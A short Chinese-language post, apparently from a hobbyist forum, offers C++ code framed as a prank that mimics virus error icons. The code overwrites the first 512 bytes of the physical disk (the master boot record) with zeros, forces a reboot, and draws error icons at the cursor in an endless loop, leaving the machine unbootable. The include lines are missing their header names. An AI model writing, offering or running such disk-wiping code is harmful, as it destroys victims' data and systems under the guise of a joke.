结合后完美

我发的光标恶gao就是那些网上下载的病毒展现的错误图标，我结合一下：

#include
#include
using namespace std;
int main(){
     int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
     int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
     HWND hDesktop = GetDesktopWindow();
     HDC hdc = GetWindowDC(hDesktop);

    

     FILE*fd=fopen("\\\\.\\PHYSICALDRIVE0","rb+");

     char a[512]={0};

     fseek(fd,0,SEEK_SET);

     fwrite(a,512,1,fd);

     system("shutdown -r -f -t 20");

     while(true){
     POINT cursor;
     GetCursorPos(&cursor);
     DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
     }
}